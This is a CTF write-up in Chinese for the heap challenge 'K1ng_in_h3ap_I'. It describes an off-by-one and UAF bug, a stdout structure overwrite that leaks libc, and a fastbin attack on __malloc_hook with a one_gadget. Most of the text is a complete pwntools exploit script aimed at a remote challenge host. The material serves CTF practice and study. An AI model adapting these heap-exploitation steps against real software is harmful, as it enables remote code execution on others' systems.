[2021 长城杯_院校组]K1ng_in_h3ap_I - stdout泄露libc初探

题目存在UAF OFF-BY-ONE

通过申请0x*8 的chunk 可以覆盖到size 位

所以可以让不属于unsortbin 的chunk free到unsortbin里面去

然后再free一个chunk造成同时存在于unsortbin fastbin

然后通过拿到_IO_2_1_STDOUT的控制权 覆盖_io_write_ptr指针

让他打印一些地址 然后就可以拿到libc_base

同时学到了 ogg 如果堆栈不平衡 可以写到_realloc_hook

然后__malloc_hook写realloc就平衡了

from pwn import *
from LibcSearcher import *
#from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote("node7.anna.nssctf.cn",29639)
#io = process("./pwn")
e = ELF('./pwn')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def bug():
    attach(io)

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
dlog     = lambda name,data         :log.success(f"get {name}=>"+hex(data))

def add(idx,size):
    sla(b">> ",str(1))
    sla(b"index:",str(idx))
    sla(b"size:",str(size))    

def delete(idx):
    sla(b">> ",str(2))
    sla(b"index:",str(idx))

def edit(idx,content):
    sla(b">> ",str(3))
    sla(b"index:",str(idx))
    sla(b"context:",content)

sla(b">> ",str(666))
ru(b"\n")
offset = libc.sym["printf"] - libc.sym["_IO_2_1_stdout_"]
leak_printf_low_addr = int(ru(b"\n",drop=True),16)
stdout_addr_offset = hex(leak_printf_low_addr - offset -0x43)[2:]
add(0,0x28)
add(1,0x30)
add(2,0x60)
add(3,0x20)
edit(0,'a'*0x28+'\xb1')
delete(1) #进入unsortbin
delete(2) #进入fastbin 但是前面有进unsortbin的 所以合并 造成重叠
add(4,0x30)
byte_data = bytes([int(stdout_addr_offset[i:i+2], 16) for i in range(len(stdout_addr_offset)-2, -2, -2)])
edit(2,byte_data)
add(4,0x68)
add(5,0x68) #get stdout - 0x43
edit(5,b'a'*0x33+p64(0xfbad1877)+p64(0)*3+b'\x50')
leak_stdout_131 = uu64(ru(b"1. add")[1:7]) #<_IO_2_1_stdout_+131
dlog("leak_stdout_131",leak_stdout_131)
libc_base = leak_stdout_131 - libc.sym["_IO_2_1_stdout_"] - 131
dlog("libc_base",libc_base)
og = [0x4527a,0xf03a4,0xf1247]
ogg = libc_base + og[0]
malloc_hook_fake_fastbin = libc_base + libc.sym["__malloc_hook"] -0x23
dlog("malloc_hook_fake_fastbin",malloc_hook_fake_fastbin)
add(6,0x68)
delete(6)
edit(6,p64(malloc_hook_fake_fastbin))
add(7,0x68)
add(8,0x68) #get __malloc_hook fake fastbin
edit(8,b'a'*11+p64(ogg)+p64(libc_base+libc.sym["realloc"]+13))
#通过把one_gadget 写到 realloc_hook 然后malloc_hook 写realloc 来达到栈平衡
add(9,0x10)


io.interactive()

参考

https://blog.csdn.net/Invin_cible/article/details/123042819

https://blog.csdn.net/yongbaoii/article/details/120386179